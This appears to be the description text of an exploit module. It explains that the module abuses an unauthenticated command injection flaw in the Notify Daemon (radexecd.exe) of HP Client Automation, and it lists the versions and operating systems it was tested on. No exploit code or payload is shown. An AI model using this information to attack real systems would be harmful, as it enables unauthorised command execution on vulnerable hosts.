          This module exploits a command injection vulnerability on HP Client Automation, distributed
          actually as Persistent Systems Client Automation. The vulnerability exists in the Notify
          Daemon (radexecd.exe), which doesn't authenticate execution requests by default.

          This module has been tested successfully on HP Client Automation 9.00 on Windows 2003 SP2
          and CentOS 5.
